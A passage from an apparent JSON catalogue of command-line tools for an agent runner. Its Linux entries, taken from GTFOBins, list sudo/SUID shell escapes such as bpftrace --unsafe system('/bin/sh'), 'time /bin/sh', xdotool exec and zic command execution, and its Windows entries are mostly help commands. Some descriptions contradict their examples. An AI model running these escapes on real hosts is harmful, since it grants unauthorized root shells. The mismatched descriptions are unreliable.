      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Measure command execution time; can spawn a shell.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "time /bin/sh"
      }
    ],
    "execution": {
      "template": "time",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-time-time",
    "install": [
      {
        "method": "apt",
        "package_name": "time",
        "commands": [
          "apt-get install -y time"
        ]
      }
    ],
    "name": "time",
    "namespace": "system:time:time",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/time/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# timedatectl\n\ntimedatectl is a command-line utility. Control system time and date settings Can leverage capabilities from: less.\n",
    "_source": "timedatectl.md",
    "allowed-tools": [
      "timedatectl"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Control system time and date settings; can spawn a shell.",
    "examples": [
      {
        "description": "Leverage less capabilities",
        "command": "timedatectl list-timezones"
      }
    ],
    "execution": {
      "template": "timedatectl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "pipes-stdin",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-time-timedatectl",
    "install": [
      {
        "method": "apt",
        "package_name": "systemd",
        "commands": [
          "apt-get install -y systemd"
        ]
      }
    ],
    "name": "timedatectl",
    "namespace": "system:time:timedatectl",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/timedatectl/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# zic\n\nzic is a command-line utility. Time zone compiler; can also execute arbitrary commands.\n",
    "_source": "zic.md",
    "allowed-tools": [
      "zic"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Time zone compiler; can read arbitrary files.",
    "examples": [
      {
        "description": "Execute arbitrary commands (sudo, suid, unprivileged)",
        "command": "echo 'Rule Jordan 0 1 xxx Jan lastSun 2 1:00d -' >/path/to/temp-file\necho 'Zone Test 2:00 Jordan CE%sT' >>/path/to/temp-file\nzic -d . -y /path/to/command /path/to/temp-file"
      }
    ],
    "execution": {
      "template": "zic",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "system-timezone-zic",
    "install": [
      {
        "method": "apt",
        "package_name": "tzdata",
        "commands": [
          "apt-get install -y tzdata"
        ]
      }
    ],
    "name": "zic",
    "namespace": "system:timezone:zic",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/zic/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "bpftrace.md",
    "allowed-tools": [
      "bpftrace",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo execution context (root required)"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "High-level tracing language for Linux eBPF, can spawn a shell with --unsafe mode via sudo.",
    "examples": [
      {
        "description": "Spawn a shell via bpftrace --unsafe",
        "command": "bpftrace --unsafe -e 'BEGIN {system(\"/bin/sh 1<&0\");exit()}'"
      },
      {
        "description": "Spawn a shell via bpftrace script file",
        "command": "echo 'BEGIN {system(\"/bin/sh 1<&0\");exit()}' >/path/to/temp-file\nbpftrace --unsafe /path/to/temp-file\n"
      },
      {
        "description": "Spawn a shell via bpftrace -c option",
        "command": "bpftrace -c /bin/sh -e 'END {exit()}'"
      }
    ],
    "execution": {
      "template": "bpftrace --unsafe -e 'BEGIN {system(\"/bin/sh 1<&0\");exit()}'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-trace-bpftrace",
    "install": [
      {
        "method": "apt",
        "package_name": "bpftrace",
        "commands": [
          "apt-get install -y bpftrace"
        ]
      }
    ],
    "name": "bpftrace",
    "namespace": "system:trace:bpftrace",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/bpftrace/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "dialog.md",
    "allowed-tools": [
      "dialog",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to input file"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content in TUI"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Display dialog boxes from shell scripts, can read files via the --textbox option.",
    "examples": [
      {
        "description": "Read a file via dialog textbox",
        "command": "dialog --textbox /path/to/input-file 0 0"
      }
    ],
    "execution": {
      "template": "dialog --textbox {input} 0 0",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive"
    ],
    "global_vars": {},
    "id": "system-tui-dialog",
    "install": [
      {
        "method": "apt",
        "package_name": "dialog",
        "commands": [
          "apt-get install -y dialog"
        ]
      }
    ],
    "name": "dialog",
    "namespace": "system:tui:dialog",
    "parameters": [
      {
        "name": "input",
        "type": "file",
        "required": false,
        "description": "File to display"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dialog/"
      }
    ],
    "related_tools": [
      "whiptail"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n# whiptail\n\nwhiptail is a command-line utility. Display dialog boxes from shell scripts; can also read arbitrary files.\n",
    "_source": "whiptail.md",
    "allowed-tools": [
      "whiptail"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Display dialog boxes from shell scripts; can spawn a shell.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "whiptail --textbox --scrolltext /path/to/input-file 0 0"
      }
    ],
    "execution": {
      "template": "whiptail",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "pipes-stdout",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-ui-whiptail",
    "install": [
      {
        "method": "apt",
        "package_name": "whiptail",
        "commands": [
          "apt-get install -y whiptail"
        ]
      }
    ],
    "name": "whiptail",
    "namespace": "system:ui:whiptail",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/whiptail/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "shutdown.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Shutdown, restart, or logoff of local or remote computers.",
    "examples": [
      {
        "description": "Run shutdown with default options",
        "command": "shutdown /?"
      }
    ],
    "execution": {
      "template": "shutdown /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-shutdown",
    "mitre_ids": [],
    "name": "shutdown",
    "namespace": "system:windows:admin",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "shutdown Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "vssadmin.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Volume Shadow Copy Service administration tool for managing shadow copies, providers, and volumes.",
    "examples": [
      {
        "description": "Run vssadmin with default options",
        "command": "vssadmin /?"
      }
    ],
    "execution": {
      "template": "vssadmin /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-vssadmin",
    "mitre_ids": [],
    "name": "vssadmin",
    "namespace": "system:windows:backup",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "vssadmin Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/vssadmin"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "bcdedit.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Boot Configuration Data editor for managing boot configuration and troubleshooting startup issues.",
    "examples": [
      {
        "description": "Run bcdedit with default options",
        "command": "bcdedit /?"
      }
    ],
    "execution": {
      "template": "bcdedit /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-bcdedit",
    "mitre_ids": [],
    "name": "bcdedit",
    "namespace": "system:windows:boot",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "bcdedit Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "bootcfg.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Configures Boot.ini for multi-boot systems.",
    "examples": [
      {
        "description": "Display help for bootcfg",
        "command": "bootcfg /?"
      }
    ],
    "execution": {
      "template": "bootcfg /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-bootcfg",
    "mitre_ids": [],
    "name": "bootcfg",
    "namespace": "system:windows:boot",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "bootcfg Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bootcfg"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "hostname.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays the host name portion of the full computer name of the computer.",
    "examples": [
      {
        "description": "Run hostname with default options",
        "command": "hostname /?"
      }
    ],
    "execution": {
      "template": "hostname /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-hostname",
    "mitre_ids": [],
    "name": "hostname",
    "namespace": "system:windows:cmd",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "hostname Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/hostname"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "set.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays, sets, or removes environment variables. Used without parameters, displays all current environment variables.",
    "examples": [
      {
        "description": "Run set with default options",
        "command": "set /?"
      }
    ],
    "execution": {
      "template": "set /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-set",
    "mitre_ids": [],
    "name": "set",
    "namespace": "system:windows:cmd",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "set Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/set"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "systeminfo.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays detailed operating system configuration information including OS version, build number, service pack level, and system hardware specs.",
    "examples": [
      {
        "description": "Run systeminfo with default options",
        "command": "systeminfo /?"
      }
    ],
    "execution": {
      "template": "systeminfo /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-systeminfo",
    "mitre_ids": [],
    "name": "systeminfo",
    "namespace": "system:windows:cmd",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "systeminfo Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "msg.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Sends popup messages to users on local or remote machines.",
    "examples": [
      {
        "description": "Run msg with default options",
        "command": "msg /?"
      }
    ],
    "execution": {
      "template": "msg /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-msg",
    "mitre_ids": [],
    "name": "msg",
    "namespace": "system:windows:communication",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "msg Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msg"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "chkdsk.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Checks a disk for file system errors and bad sectors.",
    "examples": [
      {
        "description": "Run chkdsk with default options",
        "command": "chkdsk /?"
      }
    ],
    "execution": {
      "template": "chkdsk /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-chkdsk",
    "mitre_ids": [],
    "name": "chkdsk",
    "namespace": "system:windows:disk",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "chkdsk Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/chkdsk"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "diskpart.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Command-line disk partitioning utility for managing disks, partitions, volumes, and virtual hard disks.",
    "examples": [
      {
        "description": "Run diskpart with default options",
        "command": "diskpart /?"
      }
    ],
    "execution": {
      "template": "diskpart /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-diskpart",
    "mitre_ids": [],
    "name": "diskpart",
    "namespace": "system:windows:disk",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "diskpart Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/diskpart"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "driverquery.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays a list of all installed device drivers and their properties including driver name, type, and module name.",
    "examples": [
      {
        "description": "Run driverquery with default options",
        "command": "driverquery /?"
      }
    ],
    "execution": {
      "template": "driverquery /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-driverquery",
    "mitre_ids": [],
    "name": "driverquery",
    "namespace": "system:windows:driver",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "driverquery Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/driverquery"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "dir.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays a list of files and subdirectories in a directory.",
    "examples": [
      {
        "description": "Run dir with default options",
        "command": "dir /?"
      }
    ],
    "execution": {
      "template": "dir /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-dir",
    "mitre_ids": [],
    "name": "dir",
    "namespace": "system:windows:file",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "dir Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/dir"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "where.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays the location of files that match the search pattern, similar to Unix 'which' but with broader search capabilities.",
    "examples": [
      {
        "description": "Run where with default options",
        "command": "where /?"
      }
    ],
    "execution": {
      "template": "where /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-where",
    "mitre_ids": [],
    "name": "where",
    "namespace": "system:windows:file",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "where Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/where"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "winver.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays Windows version and build information.",
    "examples": [
      {
        "description": "Display help for winver",
        "command": "winver /?"
      }
    ],
    "execution": {
      "template": "winver /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-winver",
    "mitre_ids": [],
    "name": "winver",
    "namespace": "system:windows:info",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "winver Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/winver"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "sfc.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "System File Checker scans and verifies protected system files, replacing corrupted versions from the cache.",
    "examples": [
      {
        "description": "Run sfc with default options",
        "command": "sfc /?"
      }
    ],
    "execution": {
      "template": "sfc /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-sfc",
    "mitre_ids": [],
    "name": "sfc",
    "namespace": "system:windows:integrity",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "sfc Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/sfc"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "wevtutil.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Retrieves information about event logs and publishers, exports, archives, and clears event logs.",
    "examples": [
      {
        "description": "Run wevtutil with default options",
        "command": "wevtutil /?"
      }
    ],
    "execution": {
      "template": "wevtutil /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-wevtutil",
    "mitre_ids": [],
    "name": "wevtutil",
    "namespace": "system:windows:logging",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "wevtutil Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "logman.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Manages Performance Monitor logs and traces for data collector sets.",
    "examples": [
      {
        "description": "Run logman with default options",
        "command": "logman /?"
      }
    ],
    "execution": {
      "template": "logman /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-logman",
    "mitre_ids": [],
    "name": "logman",
    "namespace": "system:windows:monitor",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "logman Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/logman"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "net.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Comprehensive network and system administration command used for managing users, groups, shares, services, and network connections.",
    "examples": [
      {
        "description": "Run net with default options",
        "command": "net /?"
      }
    ],
    "execution": {
      "template": "net /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-net",
    "mitre_ids": [],
    "name": "net",
    "namespace": "system:windows:networking",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "net Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "lodctr.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Registers performance counter names for services.",
    "examples": [
      {
        "description": "Display help for lodctr",
        "command": "lodctr /?"
      }
    ],
    "execution": {
      "template": "lodctr /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-lodctr",
    "mitre_ids": [],
    "name": "lodctr",
    "namespace": "system:windows:performance",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "lodctr Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/lodctr"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "typeperf.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Writes performance counter data to command line or log.",
    "examples": [
      {
        "description": "Display help for typeperf",
        "command": "typeperf /?"
      }
    ],
    "execution": {
      "template": "typeperf /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-typeperf",
    "mitre_ids": [],
    "name": "typeperf",
    "namespace": "system:windows:performance",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "typeperf Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/typeperf"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "gpresult.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays the Resultant Set of Policy (RSoP) information for a target user and computer.",
    "examples": [
      {
        "description": "Run gpresult with default options",
        "command": "gpresult /?"
      }
    ],
    "execution": {
      "template": "gpresult /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-gpresult",
    "mitre_ids": [],
    "name": "gpresult",
    "namespace": "system:windows:policy",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "gpresult Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/gpresult"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "tasklist.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Displays a list of currently running processes on the local or remote machine with PID, session name, and memory usage.",
    "examples": [
      {
        "description": "Run tasklist with default options",
        "command": "tasklist /?"
      }
    ],
    "execution": {
      "template": "tasklist /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "cmd-tasklist",
    "mitre_ids": [
      "T1057"
    ],
    "name": "tasklist",
    "namespace": "system:windows:process",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "tasklist Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "reagentc.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Windows Recovery Environment configuration tool.",
    "examples": [
      {
        "description": "Display help for reagentc",
        "command": "reagentc /?"
      }
    ],
    "execution": {
      "template": "reagentc /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-reagentc",
    "mitre_ids": [],
    "name": "reagentc",
    "namespace": "system:windows:recovery",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "reagentc Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/reagentc"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "recdisc.md",
    "capabilities": [
      "system.information-gathering",
      "system.configuration",
      "system.administration"
    ],
    "description": "Creates a system repair disc.",
    "examples": [
      {
        "description": "Display help for recdisc",
        "command": "recdisc /?"
      }
    ],
    "execution": {
      "template": "recdisc /?",
      "sandbox": "execFile"
    },
    "features": [
      "local"
    ],
    "id": "win-recdisc",
    "mitre_ids": [],
    "name": "recdisc",
    "namespace": "system:windows:recovery",
    "parameters": [],
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "recdisc Documentation",
        "url": "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/recdisc"
      }
    ],
    "version": "1.0.0"
  },
  {
    "_body": "\n# xdotool\n\nxdotool is a command-line utility. Programmatically simulate X11 keyboard/mouse input; can also spawn an interactive shell.\n",
    "_source": "xdotool.md",
    "allowed-tools": [
      "xdotool"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Simulate X11 keyboard/mouse input programmatically; can read arbitrary files.",
    "examples": [
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "xdotool exec --sync /bin/sh"
      }
    ],
    "execution": {
      "template": "xdotool",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "local",
      "requires-root"
    ],
    "global_vars": {},
    "id": "system-x-xdotool",
    "install": [
      {
        "method": "apt",
        "package_name": "xdotool",
        "commands": [
          "apt-get install -y xdotool"
        ]
      }
    ],
    "name": "xdotool",
    "namespace": "system:x:xdotool",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/xdotool/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# xmodmap\n\nxmodmap is a command-line utility. Modifier key and pointer button mapping in X11; can also read arbitrary files.\n",
    "_source": "xmodmap.md",
